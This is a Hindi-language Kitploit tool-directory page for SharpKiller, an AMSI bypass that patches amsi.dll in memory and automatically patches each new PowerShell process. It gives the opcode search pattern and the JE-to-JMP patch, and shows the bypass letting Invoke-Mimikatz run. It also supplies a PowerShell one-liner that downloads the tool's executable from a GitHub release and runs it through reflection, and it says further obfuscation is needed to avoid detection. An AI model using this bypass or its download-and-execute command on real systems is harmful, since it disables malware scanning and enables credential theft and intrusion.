Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SharpKiller — जीवनकाल AMSI बायपास @ZeroMemoryEx द्वारा .NET Framework 4.8 में पोर्ट किया गया | Kitploit
उपकरण/GitHubGitHub/s1lkys/sharpkiller
विशेषाधिकार वृद्धिशोषणआईडीएस/आईपीएस से बचनापोस्ट-शोषणरेड टीमिंगपेलोड डेवलपमेंट
GitHubs1lkys/sharpkiller

SharpKiller

जीवनकाल AMSI बायपास @ZeroMemoryEx द्वारा .NET Framework 4.8 में पोर्ट किया गया

रिपॉजिटरी देखें
351431 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SharpKiller

@ZeroMemoryEx द्वारा लिखित AMSI-Killer का लाइफटाइम AMSI बाइपास, .NET Framework 4.8 पर पोर्ट किया गया।

अतिरिक्त ऑब्सफस्केशन आवश्यक

https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=VirTool:MSIL/SharpKiller.A&ThreatID=2147895059

नए एकीकृत फीचर्स:

[ x ] - हर 0.5 सेकंड में नई powershell प्रक्रियाओं के लिए लाइव स्कैन -> नए powershell इंस्टेंस को स्वचालित रूप से पैच करता है

समाधान बनाना

  • अपने प्लेटफ़ॉर्म को Build > configuration manager में स्पष्ट रूप से x64 पर सेट करें

यह कैसे काम करता है?

ऑपकोड स्कैन

  • हम प्रत्येक निर्देश के पहले बाइट को खोजकर जंप निर्देश का सटीक पता प्राप्त करते हैं; यह तकनीक लक्ष्य डेटा सेट में अपडेट या संशोधन के बावजूद प्रभावी रहती है।

  • उदाहरण के लिए :

    | 48:85D2 | test rdx, rdx |

    | 74 3F | je amsi.7FFAE957C694 |

    | 48 : 85C9 | test rcx, rcx |

    | 74 3A | je amsi.7FFAE957C694 |

    | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

    | 74 33 | je amsi.7FFAE957C694 |

  • खोज पैटर्न इस प्रकार होगा :

    { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

    image

पैच

पैच से पहले

  • प्रोग्राम RDX के मान को उसी से तुलना करता है। यदि तुलना का परिणाम 0 होता है, तो प्रोग्राम रिटर्न के लिए जंप निष्पादित करता है। अन्यथा, प्रोग्राम अगले निर्देश का मूल्यांकन करने के लिए आगे बढ़ता है।

    image

  • हम "Invoke-Mimikatz" निष्पादित नहीं कर सकते

    image

पैच के बाद

  • हम पहले बाइट को पैच करते हैं और इसे JE से JMP में बदल देते हैं ताकि यह सीधे रिटर्न करे

    Screenshot 2023-02-26 195848

    image

  • अब हम "Invoke-Mimikatz" निष्पादित कर सकते हैं

नई बनाई गई प्रक्रियाएँ

  • Sharp-Killer नई बनाई गई किसी भी Powershell प्रक्रिया को लगभग वास्तविक समय में पैच करेगा।

वीडियो डेमो

video

रिफ्लेक्शन के साथ चलाने के लिए वन-लाइनर

root@kitploit:~
$url = "https://github.com/S1lkys/SharpKiller/releases/download/1.1/Sharp-Killer.exe"; $cli = New-Object System.Net.WebClient; $sk=[System.Reflection.Assembly]::Load([byte[]]( $cli.DownloadData($url)));$vars = New-Object System.Collections.Generic.List[System.Object];$BindingFlags= [Reflection.BindingFlags] "NonPublic,Static";$sk.EntryPoint.Invoke($null,@(,$passed));

उल्लिखित OnLiner का उपयोग करते समय यह त्रुटि आती है?

यदि आपने कभी यह संदेश देखा है और इसके बारे में सोचा है - .NET AMSI इंटरफ़ेस में आपका स्वागत है! :-)

root@kitploit:~
Exception calling "Load" with "1" argument(s): "Could not load file or assembly '288768 bytes loaded from Anonymously Hosted DynamicMethods Assembly, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. An attempt was made to load a program with an incorrect format."
  • https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/

संदर्भ:

  • https://github.com/ZeroMemoryEx/Amsi-Killer
टूल डाउनलोड करें